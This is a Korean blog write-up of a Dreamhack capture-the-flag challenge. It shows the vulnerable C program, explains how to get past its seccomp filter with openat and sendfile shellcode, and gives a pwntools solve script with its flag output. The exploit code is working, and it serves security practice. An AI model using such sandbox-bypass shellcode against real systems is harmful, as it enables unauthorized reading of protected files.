콘텐츠로 건너뛰기

Bypass SECCOMP-1

Description

Exploit Tech: Bypass SECCOMP에서 실습하는 문제입니다.

checksec

seo@seo:~/Desktop/bypass_seccomp_$ checksec ./bypass_seccomp
[*] '/home/seo/Desktop/bypass_seccomp_/bypass_seccomp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Source Code

bypass_seccomp.c

// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

sandbox() 함수를 호출하여 open, execve, execveat, write 시스템 콜 사용을 제한하고 있다.

사용자로부터 0x1000 크기만큼 쉘코드를 입력받고 실행한다.

Solution

openat과 sendfile 시스템콜을 사용하여 플래그를 읽으면 된다.

openat

int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

dirfd는

openat(-100, (플래그가 있는 상대경로), O_RDONLY);
절대 경로인 경우, dirfd 매개변수는 무시할 수 있다.

또는 dirfd를 -100으로 지정하여 일반적으로 현재 작업 디렉토리를 나타내는 AT_FDCWD(-100)으로 나타낼 수 있다.

pathname은 파일 경로,
flags는 RD_ONLY 읽기 전용,
mode는 파일 권한을 지정하는데 이 매개변수는 파일을 새로 생성할 때만 유효한다.

sendfile

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

sendfile(STDOUT_FILENO, (openat으로 열었던 파일 디스크립터), (입력 파일에서 데이터를 읽을 위치를 지정하는 오프셋), (읽어들일 데이터의 바이트 크기수)

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("host3.dreamhack.games", "14384")

shellcode = shellcraft.openat(-100, "./flag", 0, 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 4141)
shellcode = asm(shellcode)

p.sendlineafter("shellcode: ", shellcode)

p.interactive()

Result

seo@seo:~/Desktop/bypass_seccomp_$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 14384: Done
[*] Switching to interactive mode
DH{fdac9699a765693377fe6595a82744934ed91185f0300447c45f143a0c08c8c1}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 14384
태그:

답글 남기기